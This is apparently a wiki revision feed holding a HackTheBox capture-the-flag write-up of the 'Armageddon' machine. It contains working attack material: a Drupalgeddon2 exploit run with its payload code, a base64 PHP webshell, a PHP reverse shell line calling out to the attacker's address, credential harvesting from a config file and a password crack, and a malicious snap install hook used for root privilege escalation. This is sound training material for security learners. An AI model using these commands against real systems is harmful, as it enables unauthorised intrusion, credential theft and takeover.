<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FArmageddon</id>
	<title>Write-ups/HTB/Armageddon - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FArmageddon"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Armageddon&amp;action=history"/>
	<updated>2026-04-21T14:48:21Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Armageddon&amp;diff=1189&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 10:54, 18 February 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Armageddon&amp;diff=1189&amp;oldid=prev"/>
		<updated>2022-02-18T10:54:16Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Armageddon&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Linux&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = Drupalgeddon2, Snap Privesc&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This Linux machine had drupal running on one of the ports. I used drupalgeddon2 to upload a webshell and be able to run commands. I upgraded my shell, but could not get &amp;#039;&amp;#039;&amp;#039;PTY &amp;#039;&amp;#039;&amp;#039;so I had to read from the database using the command line. I then got the credentials to &amp;#039;&amp;#039;&amp;#039;brudetherealadmin&amp;#039;&amp;#039;&amp;#039; and he was able to run &amp;#039;&amp;#039;&amp;#039;snap install &amp;#039;&amp;#039;&amp;#039;as sudo. I created a malicous &amp;#039;&amp;#039;&amp;#039;fpm &amp;#039;&amp;#039;&amp;#039;package that changed the permissions to &amp;#039;&amp;#039;&amp;#039;sh&amp;#039;&amp;#039;&amp;#039; to root and with SUID bit set so I could just run &amp;#039;&amp;#039;&amp;#039;./sh -p&amp;#039;&amp;#039;&amp;#039; to get a root shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start with a NMAP scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/armageddon]&lt;br /&gt;
└─# nmap -sC -sV -p- --min-rate 10000 10.10.10.233 -oN nmap.ver&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-30 13:58 EST&lt;br /&gt;
Nmap scan report for 10.10.10.233&lt;br /&gt;
Host is up (0.031s latency).&lt;br /&gt;
Not shown: 65533 closed tcp ports (reset)&lt;br /&gt;
PORT   STATE SERVICE VERSION&lt;br /&gt;
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)&lt;br /&gt;
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)&lt;br /&gt;
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)&lt;br /&gt;
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)&lt;br /&gt;
| http-robots.txt: 36 disallowed entries (15 shown)&lt;br /&gt;
| /includes/ /misc/ /modules/ /profiles/ /scripts/&lt;br /&gt;
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt&lt;br /&gt;
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt&lt;br /&gt;
|_/LICENSE.txt /MAINTAINERS.txt&lt;br /&gt;
|_http-generator: Drupal 7 (http://drupal.org)&lt;br /&gt;
|_http-title: Welcome to  Armageddon |  Armageddon&lt;br /&gt;
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Only two ports open, &amp;#039;&amp;#039;&amp;#039;22 &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;80. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From the scan I can see that the webserver is running &amp;#039;&amp;#039;&amp;#039;Apache httpd 2.4.6&amp;#039;&amp;#039;&amp;#039; and it looks like its running Drupal 7.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Visiting the website I get this.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220130200207.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tried different login credentials but I got nowhere.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From the NMAP scan I can see that there is a subdirectory called &amp;#039;&amp;#039;&amp;#039;/CHANGELOG.txt&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I can see that the latest version of Drupal is &amp;#039;&amp;#039;&amp;#039;7.56&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access - Shell as Apache ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There were alot of RCE I could use. Searching in searchsploit I found this.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/armageddon]&lt;br /&gt;
└─# searchsploit drupal 7.56&lt;br /&gt;
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------&lt;br /&gt;
 Exploit Title                                                                                                                            |  Path&lt;br /&gt;
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------&lt;br /&gt;
Drupal &amp;lt; 7.58 - &amp;#039;Drupalgeddon3&amp;#039; (Authenticated) Remote Code (Metasploit)                                                                  | php/webapps/44557.rb&lt;br /&gt;
Drupal &amp;lt; 7.58 - &amp;#039;Drupalgeddon3&amp;#039; (Authenticated) Remote Code Execution (PoC)                                                               | php/webapps/44542.txt&lt;br /&gt;
Drupal &amp;lt; 7.58 / &amp;lt; 8.3.9 / &amp;lt; 8.4.6 / &amp;lt; 8.5.1 - &amp;#039;Drupalgeddon2&amp;#039; Remote Code Execution                                                       | php/webapps/44449.rb&lt;br /&gt;
Drupal &amp;lt; 8.3.9 / &amp;lt; 8.4.6 / &amp;lt; 8.5.1 - &amp;#039;Drupalgeddon2&amp;#039; Remote Code Execution (Metasploit)                                                   | php/remote/44482.rb&lt;br /&gt;
Drupal &amp;lt; 8.3.9 / &amp;lt; 8.4.6 / &amp;lt; 8.5.1 - &amp;#039;Drupalgeddon2&amp;#039; Remote Code Execution (PoC)                                                          | php/webapps/44448.py&lt;br /&gt;
Drupal &amp;lt; 8.5.11 / &amp;lt; 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)                                     | php/remote/46510.rb&lt;br /&gt;
Drupal &amp;lt; 8.6.10 / &amp;lt; 8.5.11 - REST Module Remote Code Execution                                                                            | php/webapps/46452.txt&lt;br /&gt;
Drupal &amp;lt; 8.6.9 - REST Module Remote Code Execution                                                                                        | php/webapps/46459.py&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll use &amp;#039;&amp;#039;&amp;#039;Drupalgeddon 2&amp;#039;&amp;#039;&amp;#039; and for that I need ruby installed on my machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From NIST&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.&lt;br /&gt;
https://nvd.nist.gov/vuln/detail/cve-2018-7600&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So from the script, we can see the payload for Drupal 7.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
  elsif $drupalverion.start_with?(&amp;quot;7&amp;quot;) and element == &amp;quot;name&amp;quot;&lt;br /&gt;
    # Method #3 - Drupal v7.x: name, #post_render - HTTP 200&lt;br /&gt;
    url = $target + &amp;quot;#{$clean_url}#{$form}&amp;amp;name[%23post_render][]=&amp;quot; + phpfunction + &amp;quot;&amp;amp;name[%23type]=markup&amp;amp;name[%23markup]=&amp;quot; + evil&lt;br /&gt;
    payload = &amp;quot;form_id=user_pass&amp;amp;_triggering_element_name=name&amp;quot;&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  # Drupal v7.x needs an extra value from a form&lt;br /&gt;
  if $drupalverion.start_with?(&amp;quot;7&amp;quot;)&lt;br /&gt;
    response = http_request(url, &amp;quot;post&amp;quot;, payload, $session_cookie)&lt;br /&gt;
&lt;br /&gt;
    form_name = &amp;quot;form_build_id&amp;quot;&lt;br /&gt;
    puts verbose(&amp;quot;Form name  : #{form_name}&amp;quot;) if $verbose&lt;br /&gt;
&lt;br /&gt;
    form_value = response.body.match(/input type=&amp;quot;hidden&amp;quot; name=&amp;quot;#{form_name}&amp;quot; value=&amp;quot;(.*)&amp;quot;/).to_s.slice(/value=&amp;quot;(.*)&amp;quot;/, 1).to_s.strip&lt;br /&gt;
    puts warning(&amp;quot;WARNING: Didn&amp;#039;t detect #{form_name}&amp;quot;) if form_value.empty?&lt;br /&gt;
    puts verbose(&amp;quot;Form value : #{form_value}&amp;quot;) if $verbose&lt;br /&gt;
&lt;br /&gt;
    url = $target + &amp;quot;#{$clean_url}file/ajax/name/%23value/&amp;quot; + form_value&lt;br /&gt;
    payload = &amp;quot;#{form_name}=#{form_value}&amp;quot;&lt;br /&gt;
  end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Exploit ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And when I run the script I get a shell as &amp;#039;&amp;#039;&amp;#039;Apaceh&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/armageddon]&lt;br /&gt;
└─# ruby 44449.rb 10.10.10.233&lt;br /&gt;
[*] --==[::#Drupalggedon2::]==--&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
[i] Target : http://10.10.10.233/&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
[+] Found  : http://10.10.10.233/CHANGELOG.txt    (HTTP Response: 200)&lt;br /&gt;
[+] Drupal!: v7.56&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
[*] Testing: Form   (user/password)&lt;br /&gt;
[+] Result : Form valid&lt;br /&gt;
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&lt;br /&gt;
[*] Testing: Clean URLs&lt;br /&gt;
[!] Result : Clean URLs disabled (HTTP Response: 404)&lt;br /&gt;
[i] Isn&amp;#039;t an issue for Drupal v7.x&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
[*] Testing: Code Execution   (Method: name)&lt;br /&gt;
[i] Payload: echo ALFQTDMK&lt;br /&gt;
[+] Result : ALFQTDMK&lt;br /&gt;
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
[*] Testing: Existing file   (http://10.10.10.233/shell.php)&lt;br /&gt;
[i] Response: HTTP 404 // Size: 5&lt;br /&gt;
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&lt;br /&gt;
[*] Testing: Writing To Web Root   (./)&lt;br /&gt;
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php&lt;br /&gt;
[+] Result : &amp;amp;1&amp;#039; ); }&lt;br /&gt;
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
[i] Fake PHP shell:   curl &amp;#039;http://10.10.10.233/shell.php&amp;#039; -d &amp;#039;c=hostname&amp;#039;&lt;br /&gt;
armageddon.htb&amp;gt;&amp;gt; id&lt;br /&gt;
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0&lt;br /&gt;
armageddon.htb&amp;gt;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using burp I can see that it placed a webshell in &amp;#039;&amp;#039;&amp;#039;/shell.php&amp;#039;&amp;#039;&amp;#039;. I could in theory used curl to get a better shell, but I&amp;#039;ll just use PHP in the shell I already got.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
armageddon.htb&amp;gt;&amp;gt; php -r &amp;#039;$sock=fsockopen(&amp;quot;10.10.14.18&amp;quot;,4444);$proc=proc_open(&amp;quot;/bin/sh -i&amp;quot;, array(0=&amp;gt;$sock, 1=&amp;gt;$sock, 2=&amp;gt;$sock),$pipes);&amp;#039;&lt;br /&gt;
[!] WARNING: Detected an known bad character (&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/armageddon]&lt;br /&gt;
└─# nc -lvnp 4444&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.233] 41524&lt;br /&gt;
sh: no job control in this shell&lt;br /&gt;
sh-4.2$ id&lt;br /&gt;
id&lt;br /&gt;
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0&lt;br /&gt;
sh-4.2$&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access - Shell as brucetherealadmin ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Enumeration ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I could not &amp;#039;&amp;#039;&amp;#039;ls&amp;#039;&amp;#039;&amp;#039; in the &amp;#039;&amp;#039;&amp;#039;/home &amp;#039;&amp;#039;&amp;#039;dir.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sh-4.2$ ls&lt;br /&gt;
ls&lt;br /&gt;
ls: cannot open directory .: Permission denied&lt;br /&gt;
sh-4.2$ pwd&lt;br /&gt;
pwd&lt;br /&gt;
/home&lt;br /&gt;
sh-4.2$&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
But looking at passwd I can see that there is a user called &amp;#039;&amp;#039;&amp;#039;brucetherealadmin. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sh-4.2$ cat /etc/passwd&lt;br /&gt;
cat /etc/passwd&lt;br /&gt;
root:x:0:0:root:/root:/bin/bash&lt;br /&gt;
bin:x:1:1:bin:/bin:/sbin/nologin&lt;br /&gt;
daemon:x:2:2:daemon:/sbin:/sbin/nologin&lt;br /&gt;
adm:x:3:4:adm:/var/adm:/sbin/nologin&lt;br /&gt;
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin&lt;br /&gt;
sync:x:5:0:sync:/sbin:/bin/sync&lt;br /&gt;
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown&lt;br /&gt;
halt:x:7:0:halt:/sbin:/sbin/halt&lt;br /&gt;
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin&lt;br /&gt;
operator:x:11:0:operator:/root:/sbin/nologin&lt;br /&gt;
games:x:12:100:games:/usr/games:/sbin/nologin&lt;br /&gt;
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin&lt;br /&gt;
nobody:x:99:99:Nobody:/:/sbin/nologin&lt;br /&gt;
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin&lt;br /&gt;
dbus:x:81:81:System message bus:/:/sbin/nologin&lt;br /&gt;
polkitd:x:999:998:User for polkitd:/:/sbin/nologin&lt;br /&gt;
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin&lt;br /&gt;
postfix:x:89:89::/var/spool/postfix:/sbin/nologin&lt;br /&gt;
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin&lt;br /&gt;
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin&lt;br /&gt;
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Database credentials ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In &amp;#039;&amp;#039;&amp;#039;/var/www/html/sites/default &amp;#039;&amp;#039;&amp;#039;I found a php file called &amp;#039;&amp;#039;&amp;#039;settings.php&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
 * @endcode&lt;br /&gt;
 */&lt;br /&gt;
$databases = array (&lt;br /&gt;
  &amp;#039;default&amp;#039; =&amp;gt;&lt;br /&gt;
  array (&lt;br /&gt;
    &amp;#039;default&amp;#039; =&amp;gt;&lt;br /&gt;
    array (&lt;br /&gt;
      &amp;#039;database&amp;#039; =&amp;gt; &amp;#039;drupal&amp;#039;,&lt;br /&gt;
      &amp;#039;username&amp;#039; =&amp;gt; &amp;#039;drupaluser&amp;#039;,&lt;br /&gt;
      &amp;#039;password&amp;#039; =&amp;gt; &amp;#039;CQHEy@9M*m23gBVj&amp;#039;,&lt;br /&gt;
      &amp;#039;host&amp;#039; =&amp;gt; &amp;#039;localhost&amp;#039;,&lt;br /&gt;
      &amp;#039;port&amp;#039; =&amp;gt; &amp;#039;&amp;#039;,&lt;br /&gt;
      &amp;#039;driver&amp;#039; =&amp;gt; &amp;#039;mysql&amp;#039;,&lt;br /&gt;
      &amp;#039;prefix&amp;#039; =&amp;gt; &amp;#039;&amp;#039;,&lt;br /&gt;
    ),&lt;br /&gt;
  ),&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I tried to upgrade my shell to PTY it didnt work. It says that it is out of PTY devices.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
python3 -c &amp;#039;import pty;pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;#039;&lt;br /&gt;
Traceback (most recent call last):&lt;br /&gt;
  File &amp;quot;&amp;quot;, line 1, in&lt;br /&gt;
  File &amp;quot;/usr/lib64/python3.6/pty.py&amp;quot;, line 154, in spawn&lt;br /&gt;
    pid, master_fd = fork()&lt;br /&gt;
  File &amp;quot;/usr/lib64/python3.6/pty.py&amp;quot;, line 96, in fork&lt;br /&gt;
    master_fd, slave_fd = openpty()&lt;br /&gt;
  File &amp;quot;/usr/lib64/python3.6/pty.py&amp;quot;, line 29, in openpty&lt;br /&gt;
    master_fd, slave_name = _open_terminal()&lt;br /&gt;
  File &amp;quot;/usr/lib64/python3.6/pty.py&amp;quot;, line 59, in _open_terminal&lt;br /&gt;
    raise OSError(&amp;#039;out of pty devices&amp;#039;)&lt;br /&gt;
OSError: out of pty devices&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Read from database ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll read from the database using the commandline instead. I get a hash for the user &amp;#039;&amp;#039;&amp;#039;brucetherealadmin&amp;#039;&amp;#039;&amp;#039; which I&amp;#039;ll crack using john the ripper. I got the password for brucetherealadmin which is &amp;#039;&amp;#039;&amp;#039;booboo&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sh-4.2$ mysql -e &amp;#039;select * from users;&amp;#039; -u drupaluser -p&amp;#039;CQHEy@9M*m23gBVj&amp;#039; drupal&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/armageddon]&lt;br /&gt;
└─# john --show hash                                                                                                                                                                     1 ⨯&lt;br /&gt;
?:booboo&lt;br /&gt;
&lt;br /&gt;
1 password hash cracked, 0 left&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== SSH to user ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# ssh brucetherealadmin@10.10.10.233                                                                                                                                130 ⨯&lt;br /&gt;
Enter passphrase for key &amp;#039;/root/.ssh/id_rsa&amp;#039;:&lt;br /&gt;
brucetherealadmin@10.10.10.233&amp;#039;s password:&lt;br /&gt;
Last login: Fri Feb 18 10:27:49 2022 from 10.10.14.18&lt;br /&gt;
[brucetherealadmin@armageddon ~]$ id&lt;br /&gt;
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023&lt;br /&gt;
[brucetherealadmin@armageddon ~]$&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Root ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I always like to see if the user can run any commands as sudo. In this instance, bruce could run &amp;#039;&amp;#039;&amp;#039;snap install &amp;#039;&amp;#039;&amp;#039;as sudo with the wildcard at the end. That means it could run any command after snap install.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[brucetherealadmin@armageddon ~]$ sudo -l&lt;br /&gt;
Matching Defaults entries for brucetherealadmin on armageddon:&lt;br /&gt;
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep=&amp;quot;COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS&amp;quot;, env_keep+=&amp;quot;MAIL PS1 PS2 QTDIR&lt;br /&gt;
    USERNAME LANG LC_ADDRESS LC_CTYPE&amp;quot;, env_keep+=&amp;quot;LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES&amp;quot;, env_keep+=&amp;quot;LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE&amp;quot;,&lt;br /&gt;
    env_keep+=&amp;quot;LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY&amp;quot;, secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin&lt;br /&gt;
&lt;br /&gt;
User brucetherealadmin may run the following commands on armageddon:&lt;br /&gt;
    (root) NOPASSWD: /usr/bin/snap install *&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From GTFObins&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So what we do here is do a command and use FPM to create a malicious snap package.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From FPM doc.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
The goal of fpm is to make it easy and quick to build packages such as rpms, debs, OSX packages, etc.&lt;br /&gt;
https://fpm.readthedocs.io/en/v1.13.1/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I spent too much time on this one to get it work. So I ended up copying &amp;#039;&amp;#039;&amp;#039;sh&amp;#039;&amp;#039;&amp;#039; to bruces home dir and changed the permission to root with SUID bit. Then I could just run &amp;#039;&amp;#039;&amp;#039;./sh -p &amp;#039;&amp;#039;&amp;#039;to retain permissions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
First I run the commands on my attacker machine to create the malicious snap package.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/armageddon]&lt;br /&gt;
└─#&lt;br /&gt;
COMMAND=&amp;quot;chown root:root /home/brucetherealadmin/sh; chmod 4755 /home/brucetherealadmin/sh&amp;quot;&lt;br /&gt;
cd $(mktemp -d)&lt;br /&gt;
mkdir -p meta/hooks&lt;br /&gt;
printf &amp;#039;#!/bin/sh\n%s; false&amp;#039; &amp;quot;$COMMAND&amp;quot; &amp;gt;meta/hooks/install&lt;br /&gt;
chmod +x meta/hooks/install&lt;br /&gt;
fpm -n xxxx -s dir -t snap -a all meta&lt;br /&gt;
&lt;br /&gt;
Created package {:path=&amp;gt;&amp;quot;xxxx_1.0_all.snap&amp;quot;}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So what this command does is it gives root ownership of &amp;#039;&amp;#039;&amp;#039;sh&amp;#039;&amp;#039;&amp;#039; and set the permissions with SUID bit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-rwsr-xr-x. 1 root              root              964536 Feb 18 10:45 sh&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So if I now run the sh with &amp;#039;&amp;#039;&amp;#039;-p&amp;#039;&amp;#039;&amp;#039; I will become root.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[brucetherealadmin@armageddon ~]$ ./sh -p&lt;br /&gt;
sh-4.2# id&lt;br /&gt;
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) euid=0(root) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023&lt;br /&gt;
sh-4.2#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You can see that my euid=0(root).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sh-4.2#  cd /root&lt;br /&gt;
sh-4.2# ls -l&lt;br /&gt;
total 20&lt;br /&gt;
-rw-------. 1 root root 1260 Dec  2  2020 anaconda-ks.cfg&lt;br /&gt;
-rwx------. 1 root root  142 Mar 11  2021 cleanup.sh&lt;br /&gt;
-rw-r--r--. 1 root root  974 Mar 11  2021 passwd&lt;br /&gt;
-rwx------. 1 root root   67 Mar 11  2021 reset.sh&lt;br /&gt;
-r--------. 1 root root   33 Feb 18 09:36 root.txt&lt;br /&gt;
